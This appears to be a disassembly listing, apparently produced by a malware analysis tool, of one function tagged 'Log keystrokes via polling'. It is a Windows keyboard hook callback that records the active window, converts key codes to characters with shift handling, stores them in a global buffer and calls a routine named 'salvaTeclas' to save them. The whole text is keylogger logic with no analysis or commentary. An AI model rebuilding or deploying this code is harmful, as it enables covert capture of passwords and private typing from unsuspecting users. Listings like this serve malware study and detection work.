Function at 0x401b09
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
cmp dword [rbp + 0x10], 0
js 0x401d29
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x10], rax
mov byte [rbp - 1], 0
cmp qword [rbp + 0x18], 0x100
jne 0x401d29
call dbg.captaJanelaAtiva
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x2f
jbe 0x401b5b
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x39
jbe 0x401b8f
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x40
jbe 0x401b71
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x5a
jbe 0x401b8f
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x5f
jbe 0x401c18
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x69
ja 0x401c18
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x40
jbe 0x401be9
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x5a
ja 0x401be9
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov byte [rbp - 1], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
test ax, ax
je 0x401bd2
movsx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_toupper]
call rax
jmp 0x401be1
movsx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_tolower]
call rax
mov byte [rbp - 1], al
jmp 0x401ceb
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x5f
jbe 0x401c0a
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x69
ja 0x401c0a
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
sub eax, 0x30
jmp 0x401c10
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov byte [rbp - 1], al
jmp 0x401ceb
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0xbe
je 0x401cb0
cmp eax, 0xbe
ja 0x401c69
cmp eax, 0x1b
je 0x401ce0
cmp eax, 0x1b
ja 0x401c51
cmp eax, 9
je 0x401ce6
cmp eax, 0x10
je 0x401ca4
jmp 0x401ceb
cmp eax, 0xba
je 0x401cb6
cmp eax, 0xbc
je 0x401caa
cmp eax, 0x20
je 0x401c9e
jmp 0x401ceb
cmp eax, 0xdb
je 0x401cc2
cmp eax, 0xdb
ja 0x401c87
cmp eax, 0xbf
je 0x401cbc
cmp eax, 0xc0
je 0x401cd4
jmp 0x401ceb
cmp eax, 0xdd
je 0x401cc8
cmp eax, 0xdd
jb 0x401cda
cmp eax, 0xde
je 0x401cce
jmp 0x401ceb
mov byte [rbp - 1], 0x20
jmp 0x401ceb
mov byte [rbp - 1], 0x53
jmp 0x401ceb
mov byte [rbp - 1], 0x2c
jmp 0x401ceb
mov byte [rbp - 1], 0x2e
jmp 0x401ceb
mov byte [rbp - 1], 0x3b
jmp 0x401ceb
mov byte [rbp - 1], 0x2f
jmp 0x401ceb
mov byte [rbp - 1], 0x5b
jmp 0x401ceb
mov byte [rbp - 1], 0x5d
jmp 0x401ceb
mov byte [rbp - 1], 0x27
jmp 0x401ceb
mov byte [rbp - 1], 0x60
jmp 0x401ceb
mov byte [rbp - 1], 0x5c
jmp 0x401ceb
mov byte [rbp - 1], 0x45
jmp 0x401ceb
mov byte [rbp - 1], 0x54
nop
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 8
je 0x401d29
mov eax, dword [0x0050a034]
lea edx, [rax + 1]
mov dword [0x0050a034], edx
lea rcx, [0x0050ae40]
movsxd rdx, eax
movzx eax, byte [rbp - 1]
mov byte [rcx + rdx], al
mov eax, dword [0x0050a034]
lea rdx, [0x0050ae40]
cdqe
mov byte [rdx + rax], 0
call dbg.salvaTeclas
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, rdx
mov r8, rax
mov edx, dword [rbp + 0x10]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
add rsp, 0x30
pop rbp
ret